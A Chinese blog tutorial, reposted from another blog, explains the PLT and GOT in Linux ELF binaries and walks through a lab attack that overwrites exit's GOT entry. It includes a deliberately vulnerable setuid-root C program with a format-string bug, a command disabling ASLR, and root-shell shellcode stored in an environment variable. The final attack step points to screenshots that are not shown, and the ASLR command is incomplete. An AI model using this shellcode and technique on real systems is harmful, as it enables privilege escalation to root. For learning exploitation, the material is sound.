PLT , GOT 介绍及简单 GOT 攻击实验

转载修改自 http://blog.sina.com.cn/s/blog_70dd16910100r1gi.html

第一部分 过程连接表PLT

由于程序可以用共享库的方式多次使用同一个函数,所以通过一张表来定义所有的函数是非常有用的。为了能利用这种手段,在编译程序会使用一个专用区域,这个区域称为“过程连接表(PLT)”。
PLT有许多调转指令构成,每一个指令对应一个函数地址的指针。PLT犹如一个跳板,每次需要调用某个函数时,控制权将由PLT传递。
例如下面的程序:

//got_vul.c
#include <stdio.h>
#include <string.h>
 
int bof(char *str)
{
char buffer[1024];
//The following statement has a buffer overflow problem
strncpy(buffer, str, sizeof(buffer)-1);
printf(buffer);
   exit(0);
}
 
 
int main(int argc, char **argv)
{
   bof(argv[1]);
   return 1;
}

我们利用下面的命令把它编译成SetUID root程序:

#gcc -fno-stack-protector got_vul.c -g -o got_vul
#chmod 4755 got_vul

通过 $objdump –d –j .plt ./got_vul
我们可以查看PLT的具体内容如下:

上面的这些指令中,我标识的地址就是exit函数入口地址的指针。
看到这里,我们自然就会有一种想法:
如果退出函数使用的调转指令指向我们的shellcode,那么我们就可以制造root shell漏洞了。
但是不幸的是,正如下图所示PLT是只读的
因此无法改变它的转移指针。

<font color=#8b0000 >但是上述调转指针并不是直接指向某一指令,而是指向存放这个指令的内存区域首地址。</font>
例如0x804a010指针指向存放exit函数所在的内存区域。更重要的是这个区域是可写的,这一区域就是下面所说的全局转移表GOT。

第二部分 全局转移表(GOT)

正如上面所讨论的那样,PLT中转移函数的入口地址的指针存放在PLT表中(是只读的),但是这些函数的入口地址却是存放在另一个可写区域,我们把这个区域称为全局转移表(GOT)。
利用objdump –R ./got_vul我们可以查看这些函数的转移地址如下:

我们的想法:
把shellcode的地址放到环境变量中,并预知其实际地址。如果我们能在GOT表中用Shellcode的地址重0x0804a010所指向的区域,那么当程序认为正在调用exit函数时,实际上却是在调用我们的shellcode。

第三部分 攻击 GOT

我们的攻击过程如下:

  • 第一步:关闭内存地址随机化机制
    sudo sysctl -w kernel.randomize_va_space
  • 第二步:编译got_vul.c为set-UID root程序,编译时加上编译选项-fno-protector
  • 第三步:在环境变量中存放shellcode
export MyShell=$(perl -e 'print "\x90"x4800 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
  • 第四步:利用下面函数编译的程序获取Shellcode 地址
//getenvaaddr.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[])
{
       char *ptr;
       if(argc < 3)
       {
              printf("Usage:%s<environment var> <target program name>\n",argv[0]);
              exit(0);
       }
       ptr = getenv(argv[1]);   
       ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
//argv[0]:正在执行的程序名称,本程序中:getenvaaddr
//argv[2]:即将执行的漏洞程序的名称(包括路径),本程序中:./got_vul
//Linux ubuntu 系统中已经验证两者名称差一个字符,就会有两个字节的地址偏移
       printf("%s will be at %p\n", argv[1], ptr);
       return 0;
}
  • 第五步:改写GOT并进行攻击

获取地址


进行攻击



参考文献:
Hacking: Chapter 0x300.EXPLOITATION.The Art of Exploitation, 2nd Edition ,by Jon Erickson.

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容